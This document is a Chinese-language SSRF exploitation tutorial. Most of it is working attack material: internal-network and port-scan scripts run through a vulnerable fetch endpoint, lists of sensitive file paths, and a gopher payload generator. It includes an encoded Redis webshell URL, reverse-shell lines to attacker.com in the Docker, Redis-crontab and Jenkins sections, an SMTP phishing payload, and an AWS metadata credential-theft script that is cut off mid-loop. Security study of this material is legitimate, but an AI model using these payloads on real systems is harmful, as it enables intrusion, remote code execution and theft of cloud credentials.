梳理服务端请求伪造(Server-Side Request Forgery,SSRF)漏洞的原理、网络协议利用、各类攻击技巧、内网探测方法及 WAF 绕过技巧。
一、SSRF 漏洞概述
1.1 定义与原理
服务端请求伪造(SSRF) 是一种由攻击者构造请求,使服务器对攻击者指定的地址发起请求的漏洞。
正常请求流程:
用户 → 服务器(外网) → 返回资源给用户
SSRF 攻击流程:
攻击者 → 服务器(外网)→ [服务器发起请求] → 内网服务 / 外部资源
↑
攻击者控制了这个请求的目标
核心本质:
攻击者利用服务器作为"跳板",借助服务器的网络位置
访问攻击者本无法直接访问的资源:
- 服务器本地资源(127.0.0.1)
- 内网其他主机与服务
- 绕过防火墙访问受限端口
- 访问云服务元数据接口
1.2 攻击面与危害
| 危害类型 | 说明 | 危害等级 |
|---|---|---|
| 内网服务探测 | 扫描内网存活主机、开放端口、服务版本 | 🟡 高 |
| 内网服务攻击 | 攻击 Redis / MySQL / Memcached 等 | 🔴 严重 |
| 敏感数据读取 | 读取服务器本地文件(file://) |
🔴 严重 |
| 云元数据窃取 | 读取 AWS/GCP/Azure 的 IAM 凭证 | 🔴 严重 |
| 穿越防火墙 | 访问仅对内网开放的管理后台 | 🔴 严重 |
| RCE | 配合 Gopher 攻击内网服务,最终 RCE | 🔴 严重 |
| 认证绕过 | 内网服务通常信任来自内网的请求 | 🟡 高 |
| 拒绝服务 | 利用服务器向大量目标发请求 | 🟡 高 |
1.3 SSRF 与其他漏洞的关系
SSRF 常与以下漏洞结合形成攻击链:
SSRF + Redis 未授权 → 写 Webshell / 计划任务 → RCE
SSRF + FastCGI → 执行 PHP 代码 → RCE
SSRF + Memcached → 投毒缓存 → XSS / 代码执行
SSRF + MySQL → 数据库操作
SSRF + 内网 Web 服务 → 二次攻击(SQL注入/命令注入等)
SSRF + XXE → 进一步读取文件
SSRF + 云元数据 → 横向移动 / 权限提升
SSRF + CSRF → 代理 CSRF 攻击内网服务
二、危险函数与触发场景
2.1 PHP 危险函数
<?php
// ══ file_get_contents(最常见)══
$url = $_GET['url'];
$data = file_get_contents($url); // 危险!
echo $data;
// ══ curl_exec ══
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']); // 危险!
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);
// ══ fopen ══
$fp = fopen($_GET['url'], 'r'); // 危险!
$content = stream_get_contents($fp);
// ══ SoapClient(SSRF via SOAP)══
$client = new SoapClient(null, [
'location' => $_GET['url'], // 危险!
'uri' => 'http://example.com'
]);
// ══ fsockopen ══
$fp = fsockopen($_GET['host'], $_GET['port'], $errno, $errstr, 10); // 危险!
// ══ stream_context_create + file_get_contents ══
$context = stream_context_create(['http' => ['method' => 'GET']]);
file_get_contents($_GET['url'], false, $context); // 危险!
// ══ SimpleXMLElement ══
// 通过 XXE 触发 SSRF
$xml = new SimpleXMLElement($_GET['xml']); // 危险!
// ══ 邮件发送相关(Mail SSRF)══
mail($to, $subject, $body, "From: " . $_GET['from']); // Header 注入 → SSRF
2.2 Python 危险代码
import requests
import urllib.request
import httpx
import aiohttp
# ══ requests 库 ══
url = request.args.get('url')
resp = requests.get(url) # 危险!
resp = requests.post(url, data={}) # 危险!
# ══ urllib ══
resp = urllib.request.urlopen(url) # 危险!
# ══ httpx ══
client = httpx.Client()
resp = client.get(url) # 危险!
# ══ aiohttp ══
async with aiohttp.ClientSession() as session:
async with session.get(url) as resp: # 危险!
data = await resp.text()
# ══ 图片处理库(间接触发)══
from PIL import Image
img = Image.open(url) # PIL 支持读取 URL!
from io import BytesIO
import requests
# 图片下载功能
Image.open(BytesIO(requests.get(url).content)) # 危险!
2.3 Java 危险代码
// ══ java.net.URL ══
URL url = new URL(request.getParameter("url"));
URLConnection conn = url.openConnection(); // 危险!
InputStream is = conn.getInputStream();
// ══ HttpURLConnection ══
URL url = new URL(userInput);
HttpURLConnection conn = (HttpURLConnection) url.openConnection(); // 危险!
// ══ Apache HttpClient ══
CloseableHttpClient client = HttpClients.createDefault();
HttpGet get = new HttpGet(userInput);
client.execute(get); // 危险!
// ══ OkHttp ══
OkHttpClient client = new OkHttpClient();
Request req = new Request.Builder().url(userInput).build();
client.newCall(req).execute(); // 危险!
// ══ ImageIO(图片读取)══
BufferedImage img = ImageIO.read(new URL(userInput)); // 危险!
// ══ XML 解析(XXE → SSRF)══
DocumentBuilder db = factory.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xmlInput))); // 危险!
2.4 常见触发场景
业务功能触发点:
① 图片/文件下载
?url=http://example.com/image.jpg
→ 改为内网地址即触发 SSRF
② URL 预览/分享
/preview?link=http://example.com
→ 服务器爬取目标页面内容
③ Webhook 回调
设置回调地址 callback=http://attacker.com/
→ 触发时服务器请求该地址
④ 在线翻译 / 抓取
/translate?url=http://example.com
/fetch?src=http://example.com
⑤ 图片上传(通过 URL)
/upload?image_url=http://example.com/img.jpg
⑥ PDF / 截图生成
/pdf?url=http://example.com
(wkhtmltopdf / headless Chrome 可能触发)
⑦ 网络探测 / 连通性检测
/ping?host=example.com
/check?url=http://example.com
⑧ 数据导入(从 URL 导入数据)
/import?source=http://example.com/data.csv
⑨ SSO / OAuth 回调
redirect_uri=http://attacker.com/callback
⑩ 代理 / 网关
/proxy?target=http://example.com
三、网络协议知识
3.1 SSRF 支持的协议总览
SSRF 可利用的协议(取决于服务端实现和配置):
协议 用途 支持程度
──────────────────────────────────────────────
file:// 读取本地文件 ★★★★★
http:// HTTP 请求(内网探测) ★★★★★
https:// HTTPS 请求 ★★★★★
ftp:// FTP 服务访问 ★★★☆☆
gopher:// 发送原始 TCP 数据(攻击) ★★★★★
dict:// 字典协议(端口探测) ★★★☆☆
sftp:// SSH FTP ★★☆☆☆
tftp:// UDP 文件传输 ★★☆☆☆
ldap:// 目录服务协议 ★★★☆☆
jar:// Java JAR 文件 ★★★☆☆(Java)
netdoc:// Java 文档协议 ★★☆☆☆(Java)
phar:// PHP 归档协议 ★★★★☆(PHP)
php:// PHP 流 ★★★★★(PHP)
data:// 内联数据 ★★★☆☆
expect:// 执行命令 ★★☆☆☆(PHP+扩展)
3.2 HTTP 协议特性
HTTP/1.0 与 HTTP/1.1 差异:
HTTP/1.0:默认不保持连接(Connection: close)
HTTP/1.1:默认持久连接(Connection: keep-alive)
SSRF 中的 HTTP 请求头注入:
某些参数直接拼入 HTTP 请求头,可能导致:
- CRLF 注入(\r\n)→ HTTP 头分割
- 请求走私(HTTP Request Smuggling)
HTTP 重定向跟踪(Follow Redirect):
curl 默认不跟随重定向,需设置 CURLOPT_FOLLOWLOCATION
requests 库默认跟随重定向(allow_redirects=True)
利用重定向绕过 URL 过滤!
示例:
服务器只允许 http://allowed-domain.com
攻击者在 allowed-domain.com 配置重定向到内网地址:
Location: http://192.168.1.1/
若服务器跟随重定向 → 绕过过滤访问内网!
3.3 Gopher 协议详解
Gopher 是一种古老的互联网协议(RFC 1436),
curl / Java / PHP 等支持 gopher:// 协议
Gopher URL 格式:
gopher://host:port/_{data}
↑ ↑ ↑
主机 端口 下划线后是要发送的原始数据
数据编码规则:
① 数据需要 URL 编码
② 每个换行符必须编码为 %0D%0A(\r\n)
③ 下划线后的第一个字符会被忽略(协议特性)
因此通常以 _ 后接实际数据
示例:发送 "GET / HTTP/1.0\r\n\r\n" 到 80 端口
gopher://127.0.0.1:80/_GET%20/%20HTTP%2F1.0%0D%0A%0D%0A
示例:发送 Redis 命令 "PING\r\n"
gopher://127.0.0.1:6379/_PING%0D%0A
为什么 Gopher 如此强大?
→ 可以发送任意字节流!
→ 等同于原始 TCP 连接
→ 可以模拟 HTTP/Redis/MySQL/SMTP 等任何 TCP 协议
3.4 Dict 协议详解
Dict 协议(RFC 2229):
原本用于字典服务,允许客户端查询词典数据库
格式:dict://host:port/command:arg
常用命令:
dict://127.0.0.1:6379/info → 相当于向 Redis 发送 "info" 命令
dict://127.0.0.1:6379/config:set:dir:/tmp → Redis config set dir /tmp
Dict vs Gopher:
dict:// 每次只能发送一条命令(单行)
gopher:// 可以发送多行数据流(更强大)
Dict 端口探测:
dict://192.168.1.1:22/ → 若返回 SSH 版本信息,端口开放
dict://192.168.1.1:80/ → 若返回 HTTP 信息,端口开放
dict://192.168.1.1:9999/ → 若超时或报错,端口关闭
3.5 URL 结构解析
URL 完整格式:
scheme://[user:pass@]host[:port]/path[?query][#fragment]
各部分说明:
scheme → 协议(http/https/ftp/gopher/file 等)
user:pass → 用户名密码(某些协议支持)
host → 主机名或 IP 地址
port → 端口号(默认由协议决定)
path → 路径
query → 查询参数
fragment → 锚点(客户端处理,不发送到服务器)
URL 解析歧义(绕过核心):
不同库对同一 URL 的解析可能不同!
http://attacker.com@target.com/
某些解析器:主机=target.com,用户=attacker.com
某些解析器:主机=attacker.com(RFC 3986 @前是认证信息)
http://target.com#@attacker.com/
某些:主机=target.com,片段=@attacker.com/
某些:主机=attacker.com
http://target.com?.attacker.com/
某些:主机=target.com,查询=.attacker.com/
四、基础探测与信息收集
4.1 确认 SSRF 存在
Step 1:测试回显型 SSRF
构造请求,让服务器访问自己控制的服务器
观察是否收到请求
方法一:Burp Collaborator
?url=https://your-collaborator.burpcollaborator.net/
方法二:DNSlog(国内常用)
?url=http://test.dnslog.cn/
?url=http://xxxx.ceye.io/
方法三:自建监听
python3 -m http.server 8888
?url=http://your-vps:8888/test
Step 2:测试无回显 SSRF(时间差)
?url=http://192.168.1.1:80 → 若响应快:端口开放
?url=http://192.168.1.1:9999 → 若响应慢/超时:端口关闭
Step 3:测试内网 IP
?url=http://127.0.0.1/
?url=http://localhost/
?url=http://0.0.0.0/
4.2 内网段探测
#!/usr/bin/env python3
# SSRF 内网段扫描脚本
import requests
import threading
from queue import Queue
TARGET_URL = "http://vulnerable-site.com/fetch?url="
INTERNAL_RANGE = "192.168.1."
TIMEOUT = 3
def check_host(ip):
try:
url = f"{TARGET_URL}http://{ip}/"
start = __import__('time').time()
r = requests.get(url, timeout=TIMEOUT)
elapsed = __import__('time').time() - start
if r.status_code != 404 or elapsed < TIMEOUT - 0.5:
print(f"[+] {ip} → ALIVE (status={r.status_code}, time={elapsed:.2f}s)")
except requests.exceptions.Timeout:
pass # 超时说明端口关闭
except Exception as e:
pass
def scan_range(subnet, start=1, end=254, threads=50):
q = Queue()
for i in range(start, end + 1):
q.put(f"{subnet}{i}")
def worker():
while not q.empty():
ip = q.get()
check_host(ip)
q.task_done()
thread_list = [threading.Thread(target=worker) for _ in range(threads)]
for t in thread_list:
t.start()
for t in thread_list:
t.join()
scan_range(INTERNAL_RANGE)
4.3 端口扫描
#!/usr/bin/env python3
# SSRF 端口扫描脚本
import requests
import time
TARGET_URL = "http://vulnerable-site.com/fetch?url="
TARGET_HOST = "127.0.0.1"
TIMEOUT = 2
COMMON_PORTS = [
21, # FTP
22, # SSH
23, # Telnet
25, # SMTP
53, # DNS
80, # HTTP
110, # POP3
135, # RPC
139, # NetBIOS
143, # IMAP
443, # HTTPS
445, # SMB
1433, # MSSQL
1521, # Oracle
2181, # ZooKeeper
2375, # Docker API(未认证)
2376, # Docker API(TLS)
3306, # MySQL
3389, # RDP
5432, # PostgreSQL
5672, # RabbitMQ
5900, # VNC
6379, # Redis
6380, # Redis(备用)
7001, # WebLogic
7002, # WebLogic(SSL)
8080, # HTTP 替代
8443, # HTTPS 替代
8888, # Jupyter Notebook
9090, # Prometheus
9200, # Elasticsearch
9300, # Elasticsearch(内部)
11211, # Memcached
27017, # MongoDB
27018, # MongoDB(备用)
]
def check_port(host, port):
try:
url = f"{TARGET_URL}http://{host}:{port}/"
start = time.time()
r = requests.get(url, timeout=TIMEOUT)
elapsed = time.time() - start
return True, r.status_code, elapsed
except requests.exceptions.ConnectionError:
return True, "REFUSED", 0 # 拒绝连接 = 端口存在但服务拒绝
except requests.exceptions.Timeout:
return False, "TIMEOUT", TIMEOUT
except Exception as e:
return False, str(e), 0
print(f"[*] Scanning {TARGET_HOST} common ports via SSRF...")
for port in COMMON_PORTS:
is_open, status, elapsed = check_port(TARGET_HOST, port)
if is_open and status != "TIMEOUT":
print(f"[+] {TARGET_HOST}:{port} → OPEN (status={status}, {elapsed:.2f}s)")
4.4 服务指纹识别
通过 SSRF 获取服务指纹:
# HTTP 服务
?url=http://192.168.1.1:80/
→ 响应头中 Server: Apache/2.4.41, X-Powered-By: PHP/7.4 等
# Redis
?url=dict://192.168.1.1:6379/info
→ 返回 Redis 版本、内存、连接数等信息
# Elasticsearch
?url=http://192.168.1.1:9200/
→ 返回集群名称、版本、节点信息
# MongoDB
?url=http://192.168.1.1:27017/
→ 返回"It looks like you are trying to access MongoDB over HTTP..."
# Memcached
?url=dict://192.168.1.1:11211/stats
→ 返回统计信息
# Jenkins
?url=http://192.168.1.1:8080/
→ 返回 Jenkins 页面
# Kubernetes API
?url=https://192.168.1.1:6443/
→ 返回 Kubernetes API 信息
# Docker API(未授权)
?url=http://192.168.1.1:2375/version
→ 返回 Docker 版本信息
五、文件读取(file://)
5.1 基础文件读取
# Linux 敏感文件
?url=file:///etc/passwd
?url=file:///etc/shadow
?url=file:///etc/hosts
?url=file:///etc/hostname
?url=file:///etc/os-release
?url=file:///proc/self/environ ← 环境变量(含密钥)
?url=file:///proc/self/cmdline ← 进程命令行
?url=file:///proc/self/cwd ← 当前目录(符号链接)
?url=file:///proc/net/tcp ← 内网端口信息(十六进制)
?url=file:///proc/net/arp ← ARP 表(内网 IP 发现)
?url=file:///root/.ssh/id_rsa ← root 私钥
?url=file:///root/.bash_history ← 命令历史
?url=file:///var/www/html/.env ← 环境变量配置
?url=file:///var/www/html/config.php
# Windows 敏感文件
?url=file:///c:/windows/win.ini
?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///c:/inetpub/wwwroot/web.config
?url=file:///c:/xampp/apache/conf/httpd.conf
# 应用配置文件
?url=file:///etc/nginx/nginx.conf
?url=file:///etc/apache2/sites-enabled/000-default.conf
?url=file:///etc/mysql/mysql.conf.d/mysqld.cnf
?url=file:///etc/redis/redis.conf
5.2 /proc 文件系统深度利用
# /proc/net/tcp 解析(获取内网连接信息)
# 内容格式:sl local_address rem_address st ...
# 地址是十六进制小端序
def parse_proc_net_tcp(content):
"""解析 /proc/net/tcp 内容,获取开放端口"""
lines = content.strip().split('\n')[1:] # 跳过标题行
results = []
for line in lines:
parts = line.split()
if len(parts) < 4:
continue
local_addr = parts[1]
state = parts[3]
# 解析地址(十六进制小端序)
ip_hex, port_hex = local_addr.split(':')
# IP:每两位翻转
ip_bytes = bytes.fromhex(ip_hex)[::-1]
ip = '.'.join(str(b) for b in ip_bytes)
port = int(port_hex, 16)
# state 0A = LISTEN(监听中)
if state == '0A':
results.append(f"{ip}:{port}")
return results
# 使用示例
content = """ sl local_address rem_address st ...
0: 0100007F:1F90 00000000:0000 0A ...
1: 00000000:0050 00000000:0000 0A ..."""
# 0100007F:1F90 → 127.0.0.1:8080 (0x1F90=8080)
# 00000000:0050 → 0.0.0.0:80 (0x0050=80)
# 其他有价值的 /proc 路径
# /proc/self/fd/ → 列出进程打开的文件描述符
# /proc/self/maps → 内存映射(可能含库路径)
# /proc/1/cmdline → PID 1 的命令(init/systemd)
# /proc/self/status → 进程状态(UID/GID/内存)
六、内网服务攻击(http/https)
6.1 常见内网服务攻击
# ══ 管理后台(通常无鉴权或弱鉴权)══
# Tomcat 管理界面
?url=http://127.0.0.1:8080/manager/html
?url=http://127.0.0.1:8080/manager/text/list
→ 可部署 WAR 包 WebShell
# WebLogic 管理控制台
?url=http://127.0.0.1:7001/console
→ 可能有反序列化漏洞
# Jenkins
?url=http://127.0.0.1:8080/script
→ Groovy 脚本控制台,直接 RCE
# Kibana
?url=http://127.0.0.1:5601/
→ 可能访问 ES 数据
# Prometheus
?url=http://127.0.0.1:9090/
→ 监控指标、目标列表
# Docker API(未认证)
?url=http://127.0.0.1:2375/version
?url=http://127.0.0.1:2375/containers/json
?url=http://127.0.0.1:2375/containers/create
→ 创建特权容器 → 逃逸到宿主机 → RCE
# Kubernetes Dashboard
?url=http://127.0.0.1:10250/pods
?url=https://127.0.0.1:10250/run/default/pod-name/container
→ 执行容器内命令
# ══ 数据库(无鉴权)══
# Elasticsearch(默认无认证)
?url=http://127.0.0.1:9200/_cat/indices
?url=http://127.0.0.1:9200/index_name/_search?q=*
→ 直接读取所有数据
# CouchDB
?url=http://127.0.0.1:5984/_all_dbs
?url=http://127.0.0.1:5984/_users
→ 创建管理员账号
# MongoDB(旧版默认无认证)
?url=http://127.0.0.1:28017/admin
# ══ 云原生服务 ══
# Harbor Registry
?url=http://127.0.0.1:5000/v2/_catalog
# Consul
?url=http://127.0.0.1:8500/v1/kv/?recurse
# etcd
?url=http://127.0.0.1:2379/v2/keys/?recursive=true
6.2 Docker API 攻击(SSRF → RCE)
# Step 1:确认 Docker API 可访问
?url=http://127.0.0.1:2375/version
# Step 2:列出已有容器和镜像
?url=http://127.0.0.1:2375/containers/json
?url=http://127.0.0.1:2375/images/json
# Step 3:通过 SSRF 发送 POST 请求创建容器
# (需要 SSRF 支持 POST 或者使用 Gopher 协议)
# 创建特权容器(Gopher 方式)
# 在容器中挂载宿主机根目录 → 写 crontab → 反弹 Shell
# Docker API 创建容器的 JSON:
POST /containers/create HTTP/1.1
Host: 127.0.0.1:2375
Content-Type: application/json
{
"Image": "ubuntu",
"Cmd": ["/bin/sh", "-c", "crontab -l | { cat; echo \"* * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1\"; } | crontab -"],
"Binds": ["/:/host"],
"Privileged": true
}
# Kubernetes API 攻击
# POST /api/v1/namespaces/default/pods
# 创建特权 Pod,挂载宿主机目录
6.3 Jenkins Groovy 脚本 RCE
# 访问 Jenkins Script Console(通常无需认证的内网服务)
?url=http://127.0.0.1:8080/script
# 通过 SSRF POST 请求执行 Groovy 脚本
# Gopher payload:
# POST /script HTTP/1.1
# ...
# script=def+cmd="id".execute();println(cmd.text)
# Groovy 执行系统命令
def cmd = ["id"].execute()
println(cmd.text)
# 反弹 Shell
def cmd = ["bash","-c","bash -i >& /dev/tcp/attacker.com/4444 0>&1"].execute()
七、Gopher 协议攻击
7.1 Gopher 协议编码规则
#!/usr/bin/env python3
"""
Gopher Payload 生成器
"""
import urllib.parse
def gopher_encode(data: bytes, host: str, port: int) -> str:
"""将原始 TCP 数据编码为 Gopher URL"""
# URL 编码数据(保留不编码的字符尽量少)
encoded = urllib.parse.quote(data, safe='')
return f"gopher://{host}:{port}/_{encoded}"
def make_redis_payload(commands: list, host='127.0.0.1', port=6379) -> str:
"""生成 Redis 命令的 Gopher Payload"""
# Redis 协议格式(RESP)
def resp_cmd(cmd_list):
parts = [f"*{len(cmd_list)}\r\n"]
for arg in cmd_list:
arg_bytes = arg.encode() if isinstance(arg, str) else arg
parts.append(f"${len(arg_bytes)}\r\n")
parts.append(arg_bytes.decode('latin-1'))
parts.append("\r\n")
return "".join(parts)
payload = ""
for cmd in commands:
payload += resp_cmd(cmd)
return gopher_encode(payload.encode('latin-1'), host, port)
# 示例:Redis 写 WebShell
webshell_commands = [
["flushall"],
["set", "shell", "\n\n<?php system($_GET['cmd']); ?>\n\n"],
["config", "set", "dir", "/var/www/html"],
["config", "set", "dbfilename", "shell.php"],
["save"],
]
payload = make_redis_payload(webshell_commands)
print("Gopher Payload:")
print(payload)
print()
# 二次 URL 编码(某些框架需要)
double_encoded = urllib.parse.quote(payload, safe='')
print("Double-encoded Payload:")
print(double_encoded)
7.2 Gopher 攻击 Redis
Redis 常见攻击方式(via Gopher):
══ 方法一:写入 WebShell ══
命令序列:
FLUSHALL
SET webshell "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SAVE
生成的 Gopher URL:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%248%0D%0Awebshell%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A%2Fvar%2Fwww%2Fhtml%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
══ 方法二:写入 crontab(反弹 Shell)══
命令序列:
FLUSHALL
SET cron "\n\n*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1\n\n"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
══ 方法三:写入 SSH 授权密钥 ══
命令序列:
FLUSHALL
SET sshkey "\n\nssh-rsa AAAA...你的公钥...\n\n"
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SAVE
工具推荐:
Gopherus - 自动生成各协议的 Gopher Payload
https://github.com/tarunkant/Gopherus
python gopherus.py --exploit redis
7.3 Gopherus 工具使用
# Gopherus 是专门生成 Gopher Payload 的工具
git clone https://github.com/tarunkant/Gopherus
cd Gopherus
python gopherus.py --help
# ── Redis 攻击 ──
python gopherus.py --exploit redis
# 选择攻击方式:
# 1. RCE(通过 webshell)
# 2. RCE(通过 crontab)
# 3. RCE(通过 SSH key)
# 输入参数后生成 Gopher URL
# ── MySQL 攻击 ──
python gopherus.py --exploit mysql
# 输入:MySQL 用户名(通常是 root)
# 输入:要执行的查询语句
# ── FastCGI 攻击 ──
python gopherus.py --exploit fastcgi
# 输入:PHP 文件路径(如 /var/www/html/index.php)
# 输入:要执行的命令
# ── Memcached 攻击 ──
python gopherus.py --exploit memcache
# 输入:要投毒的缓存 key
# 输入:注入的 payload
# ── SMTP 邮件发送 ──
python gopherus.py --exploit smtp
# 可用于内网钓鱼
# 生成的 Payload 通常需要二次 URL 编码
# 用于某些 SSRF 场景(参数被解码一次后再发送)
7.4 Gopher 攻击 MySQL
#!/usr/bin/env python3
"""
生成 MySQL Gopher Payload(需要知道用户名密码或无密码)
"""
import struct
import hashlib
import urllib.parse
def mysql_gopher_payload(host='127.0.0.1', port=3306,
username='root', password='',
query='select "<?php system($_GET[cmd]);?>" into outfile "/var/www/html/shell.php"'):
"""
构造 MySQL 登录 + 查询的 Gopher Payload
适用于 MySQL 无密码或已知密码的场景
"""
# MySQL 协议登录包(简化版,实际需要处理认证握手)
# 建议使用 Gopherus 工具自动生成
# 基础示意(实际的 MySQL 协议更复杂)
print(f"[*] 建议使用 Gopherus 工具生成 MySQL Gopher Payload:")
print(f" python gopherus.py --exploit mysql")
print(f" Username: {username}")
print(f" Query: {query}")
mysql_gopher_payload()
# MySQL 利用场景:
# 1. SELECT ... INTO OUTFILE 写 WebShell(需要写文件权限)
# 2. SELECT LOAD_FILE() 读取文件(需要 FILE 权限)
# 3. UDF 注入(用户定义函数)执行系统命令
7.5 Gopher 攻击 FastCGI
FastCGI 协议用于 Web 服务器(Nginx)与 PHP-FPM 通信
通常监听在 127.0.0.1:9000
攻击原理:
1. 伪造 FastCGI 请求,设置 PHP_VALUE 覆盖配置
2. 设置 SCRIPT_FILENAME 为目标 PHP 文件
3. 通过 PHP 配置注入执行任意代码
关键参数:
SCRIPT_FILENAME → /var/www/html/index.php(任意已存在的 PHP 文件)
PHP_VALUE → auto_prepend_file = php://input
PHP_ADMIN_VALUE → allow_url_include = On
Gopherus 生成:
python gopherus.py --exploit fastcgi
输入:/var/www/html/index.php(服务器上存在的 PHP 文件)
输入:id(要执行的命令)
生成的 Gopher URL 示例(简化):
gopher://127.0.0.1:9000/_%01%01...
curl 测试(本地 FastCGI):
./fcgi-client.py 127.0.0.1 9000 /var/www/html/index.php "id"
7.6 Gopher 攻击 SMTP
SSRF + Gopher → SMTP → 发送内部钓鱼邮件
SMTP 协议流程:
EHLO attacker.com
MAIL FROM:<sender@internal.com>
RCPT TO:<victim@company.com>
DATA
Subject: 重置密码
请点击:http://attacker.com/phishing
.
QUIT
Gopher Payload(URL 编码前):
EHLO attacker.com\r\n
MAIL FROM:<admin@company.com>\r\n
RCPT TO:<ceo@company.com>\r\n
DATA\r\n
Subject: 紧急安全通知\r\n
From: admin@company.com\r\n
\r\n
请立即修改密码:http://attacker.com/reset\r\n
.\r\n
QUIT\r\n
python gopherus.py --exploit smtp
八、Dict 协议利用
8.1 Dict 基础利用
Dict 协议格式:dict://host:port/command[:arg]
# ══ Redis ══
# 单条命令(Dict 每次只能发一条)
?url=dict://127.0.0.1:6379/info
?url=dict://127.0.0.1:6379/config:get:dir
?url=dict://127.0.0.1:6379/config:set:dir:/var/www/html
?url=dict://127.0.0.1:6379/config:set:dbfilename:shell.php
?url=dict://127.0.0.1:6379/set:shell:\r\n\r\n<?php system($_GET[cmd]);?>\r\n\r\n
?url=dict://127.0.0.1:6379/save
注意:Dict 每次只能发送一条命令
需要多次请求才能完成攻击链
不如 Gopher 高效(Gopher 一次发送所有命令)
# ══ Memcached ══
# 设置缓存值(投毒)
?url=dict://127.0.0.1:11211/set:key:0:3600:value
# ══ 端口探测 ══
# 通过响应内容判断端口状态
?url=dict://127.0.0.1:22/ → SSH 握手信息(确认端口开放)
?url=dict://127.0.0.1:3306/ → MySQL 握手(确认端口开放)
?url=dict://127.0.0.1:25/ → SMTP 220 欢迎信息
8.2 Dict vs Gopher 对比
Dict 协议缺点:
① 只能发送单行命令(无法发送多行数据)
② 不支持二进制数据
③ 不能模拟 HTTP 等复杂协议
Gopher 协议优势:
① 可发送任意字节流(包括换行符)
② 一次请求发送整个攻击序列
③ 支持所有基于 TCP 的协议
④ 可发送 POST 请求(HTTP)
实际攻击时:
优先尝试 Gopher(功能最强)
若 Gopher 被禁用,降级到 Dict(受限)
若 Dict 也被禁用,则只能用 HTTP 协议
九、云环境元数据攻击
9.1 AWS 元数据服务
AWS IMDSv1(无需认证,经典版本):
http://169.254.169.254/latest/meta-data/
常用路径:
# 获取 IAM 角色凭证(最高价值)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ 返回角色名称列表
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
→ 返回 AccessKeyId / SecretAccessKey / Token(临时凭证)
# 实例信息
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/local-ipv4 → 内网 IP
http://169.254.169.254/latest/meta-data/public-ipv4 → 公网 IP
http://169.254.169.254/latest/meta-data/public-hostname
http://169.254.169.254/latest/meta-data/placement/region
# 用户数据(可能含密码/脚本)
http://169.254.169.254/latest/user-data
# 安全组信息
http://169.254.169.254/latest/meta-data/security-groups
# AMI 信息
http://169.254.169.254/latest/meta-data/ami-id
IMDSv2(需要先获取 Token,更安全):
# Step 1:PUT 请求获取 Token(SSRF 中需要 PUT 支持)
PUT http://169.254.169.254/latest/api/token
Headers: X-aws-ec2-metadata-token-ttl-seconds: 21600
# Step 2:使用 Token 访问
GET http://169.254.169.254/latest/meta-data/
Headers: X-aws-ec2-metadata-token: <token>
利用窃取的 IAM 凭证:
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=xxx
export AWS_SESSION_TOKEN=xxx
aws sts get-caller-identity # 验证凭证有效性
aws s3 ls # 列举 S3 存储桶
aws ec2 describe-instances # 列举 EC2 实例
9.2 GCP 元数据服务
GCP 元数据服务地址:
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/
注意:GCP 需要请求头 Metadata-Flavor: Google
但 SSRF 场景下通常无法添加自定义头
某些 curl/requests 配置可能默认发送
常用路径(需要特定请求头):
/computeMetadata/v1/project/project-id → 项目 ID
/computeMetadata/v1/instance/service-accounts/default/token → SA 访问令牌
/computeMetadata/v1/instance/service-accounts/default/email → SA 邮箱
/computeMetadata/v1/instance/attributes/ → 实例属性(可能含密钥)
/computeMetadata/v1/project/attributes/ssh-keys → SSH 密钥
替代路径(无需特殊请求头,某些旧版本):
http://metadata.google.internal/computeMetadata/v1beta1/
9.3 Azure / 阿里云元数据
# ── Azure 元数据服务 ──
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: true (需要此请求头)
# 获取访问令牌
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# ── 阿里云元数据服务 ──
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
http://100.100.100.200/latest/meta-data/ram/security-credentials/<role>
→ AccessKeyId / AccessKeySecret / SecurityToken
# ── 腾讯云元数据 ──
http://metadata.tencentyun.com/latest/meta-data/
http://169.254.0.23/meta-data/cam/security-credentials/
# ── Kubernetes 服务账户令牌 ──
# 容器内默认挂载的 K8s Service Account Token
file:///run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/token
# 利用 Token 访问 K8s API Server
http://kubernetes.default.svc/api/v1/namespaces/default/secrets
9.4 云凭证利用脚本
#!/usr/bin/env python3
"""
AWS SSRF 凭证提取与利用
"""
import requests
SSRF_URL = "http://vulnerable-site.com/fetch?url="
def ssrf_get(url):
"""通过 SSRF 发起 GET 请求"""
resp = requests.get(f"{SSRF_URL}{url}", timeout=5)
return resp.text
def steal_aws_credentials():
"""窃取 AWS IAM 凭证"""
base = "http://169.254.169.254/latest/meta-data"
print("[*] 检查 IAM 角色...")
roles_resp = ssrf_get(f"{base}/iam/security-credentials/")
if not roles_resp:
print("[-] 无 IAM 角色或无法访问元数据")
return
roles = [r.strip() for r in roles_resp.split('\n') if r.strip()]
print(f"[+] 发现 IAM 角色: {roles}")
for role in roles:
